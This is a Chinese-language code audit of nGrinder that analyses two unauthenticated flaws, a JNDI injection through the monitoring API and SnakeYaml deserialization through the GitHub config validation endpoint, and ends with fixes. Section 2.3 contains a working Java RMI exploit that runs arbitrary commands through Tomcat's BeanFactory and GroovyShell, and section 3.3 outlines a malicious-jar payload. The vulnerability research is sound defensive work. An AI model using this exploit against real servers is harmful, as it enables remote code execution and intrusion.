ngrinder代码审计
字数 1300 2025-08-18 11:36:48
nGrinder 代码审计报告:未授权JNDI注入与SnakeYaml反序列化漏洞分析
1. 授权机制分析
nGrinder使用Spring Security的@PreAuthorize注解进行权限校验,但存在以下特点:
- 控制器函数参数包含
User实体类时会自动进行权限校验 StatisticsApiController和UserSignUpApiController默认不开启授权检查- 审计发现两个高危未授权漏洞接口
2. 未授权JNDI注入漏洞
2.1 漏洞位置
org.ngrinder.agent.controller.MonitorManagerApiController#getRealTimeMonitorData
2.2 漏洞调用链
- 入口方法接收可控的
ip参数:
public SystemDataModel getRealTimeMonitorData(@RequestParam final String ip)
throws InterruptedException, ExecutionException, TimeoutException {
int port = config.getMonitorPort();
Future<SystemInfo> systemInfoFuture = AopUtils.proxy(this).getAsyncSystemInfo(ip, port);
SystemInfo systemInfo = checkNotNull(systemInfoFuture.get(2, TimeUnit.SECONDS),
"Monitoring data is not available.");
return new SystemDataModel(systemInfo, "UNKNOWN");
}
- 调用
getAsyncSystemInfo方法:
public Future<SystemInfo> getAsyncSystemInfo(String ip, int port) {
return new AsyncResult<>(monitorInfoStore.getSystemInfo(ip, port));
}
- 进入
MonitorInfoStore.getSystemInfo:
public SystemInfo getSystemInfo(String ip, int port) {
MonitorClientService monitorClient = monitorClientMap.get(ip);
if (monitorClient == null) {
monitorClient = new MonitorClientService(ip, port);
monitorClient.init();
IOUtils.closeQuietly(monitorClientMap.put(ip, monitorClient));
}
monitorClient.update();
monitorClient.setLastAccessedTime(System.currentTimeMillis());
return monitorClient.getSystemInfo();
}
MonitorClientService.init()创建MBeanClient:
public void init() {
try {
mBeanClient = new MBeanClient(ip, port);
mBeanClient.connect();
} catch (IOException e) {
LOGGER.info("Monitor Connection Error to {} by {}", ip + ":" + port, e.getMessage());
}
}
MBeanClient.connect()最终调用JMXConnectorFactory.connect(jmxUrl):
private JMXConnector connectWithTimeout(final JMXServiceURL jmxUrl, int timeout)
throws NGrinderRuntimeException, TimeoutException {
try {
ExecutorService executor = Executors.newSingleThreadExecutor();
Future<JMXConnector> future = executor.submit(() -> JMXConnectorFactory.connect(jmxUrl));
return future.get(timeout, TimeUnit.MILLISECONDS);
} catch (TimeoutException e) {
throw e;
} catch (Exception e) {
throw processException(e);
}
}
- 关键漏洞点 - JNDI查找:
private RMIServer findRMIServerJNDI(String jndiURL, Map<String, ?> env)
throws NamingException {
InitialContext ctx = new InitialContext(EnvHelp.mapToHashtable(env));
Object objref = ctx.lookup(jndiURL); // jndiURL可控导致JNDI注入
ctx.close();
return narrowJRMPServer(objref);
}
2.3 高版本JDK利用方法
nGrinder环境包含Tomcat和Groovy包,可绕过JDK高版本限制:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Exploit {
public static void main(String args[]) throws Exception{
int port = Integer.parseInt(args[0]);
String cmd = args[1];
Registry registry = LocateRegistry.createRegistry(port);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
String script = String.format("'%s'.execute()", cmd);
ref.add(new StringRefAddr("x", script));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("rmi://0.0.0.0:13243/jmxrmi", referenceWrapper);
}
}
3. 未授权SnakeYaml反序列化漏洞
3.1 漏洞位置
org.ngrinder.script.controller.FileEntryApiController#validateGithubConfig
3.2 漏洞分析
- 未授权接口:
@PostMapping("/github/validate")
public void validateGithubConfig(@RequestBody FileEntry fileEntry) {
gitHubFileEntryService.validate(fileEntry);
}
- 调用
GitHubFileEntryService.validate:
public boolean validate(FileEntry gitConfigYaml) {
for (GitHubConfig config : getAllGithubConfig(gitConfigYaml)) {
// ...
}
}
- 关键漏洞点 - Yaml反序列化:
private Set<GitHubConfig> getAllGithubConfig(FileEntry gitConfigYaml) {
Set<GitHubConfig> gitHubConfig = new HashSet<>();
Yaml yaml = new Yaml();
Iterable<Map<String, Object>> gitConfigs = cast(yaml.loadAll(gitConfigYaml.getContent()));
// ...
}
- 反序列化调用链:
yaml.loadAll()→BaseConstructor.getData()→constructDocument()- 最终会实例化
javax.script.ScriptEngineManager并利用SPI机制加载恶意类
3.3 漏洞利用
使用ScriptEngineManager通过URL加载恶意jar包,可利用yaml-payload项目生成payload。
4. 修复建议
-
JNDI注入修复:
- 对
MonitorManagerApiController.getRealTimeMonitorData方法添加权限校验 - 对输入的
ip参数进行严格过滤 - 升级JDK版本并设置
com.sun.jndi.rmi.object.trustURLCodebase=false
- 对
-
SnakeYaml反序列化修复:
- 对
validateGithubConfig方法添加权限校验 - 使用SafeConstructor限制Yaml反序列化:
Yaml yaml = new Yaml(new SafeConstructor()); - 对用户输入的Yaml内容进行严格校验
- 对
-
通用建议:
- 对所有接口进行权限校验
- 更新依赖库到最新安全版本
- 实施输入验证和输出编码
5. 漏洞状态
以上漏洞已提交CNNVD并确认通过。